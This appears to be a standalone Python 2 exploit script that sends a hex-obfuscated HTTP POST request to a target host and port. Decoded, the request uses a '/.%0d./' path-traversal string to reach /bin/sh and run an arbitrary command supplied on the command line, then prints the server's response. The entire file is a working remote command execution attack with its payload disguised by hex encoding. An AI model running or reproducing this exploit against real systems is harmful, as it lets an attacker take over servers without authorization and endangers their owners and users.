#! /usr/bin/env python
# -*- coding: utf-8 -*-

import socket,binascii,re,sys

def send(host,port,cmd):

    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((host,int(port)))
    data = '''\x50\x4f\x53\x54\x20\x2f\x2e\x25\x30\x64\x2e\x2f\x2e\x25\x30\x64\x2e\x2f\x2e\x25\x30\x64\x2e\x2f\x2e\x25\x30\x64\x2e\x2f\x62\x69\x6e\x2f\x73\x68\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e\x67\x74\x68\x3a\x20\x31\x0d\x0a\x0d\x0a\x65\x63\x68\x6f\x0a\x65\x63\x68\x6f\x0a'''
    str_16 = binascii.b2a_hex(cmd.encode('utf-8'))
    b=re.findall(r'.{2}',str_16)
    c = '\\x'.join(b)
    cdata = '\\x' + c
    ddata = '\x20\x32\x3e\x26\x31\x0a'
    data = data + cmd + ddata
    #print data
    s.send(data)
    resp = ''
    buf=s.recv(40890)
    while buf:
        resp = resp + buf
        buf=s.recv(40890)
    ress = re.findall(r'HTTP[\s\S]*?close',resp)
    print resp.replace(ress[0],'').strip()

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print sys.argv[0] +" host port cmd"
    else:
        host = sys.argv[1]
        port = sys.argv[2]
        cmd = sys.argv[3]
        send(host,port,cmd)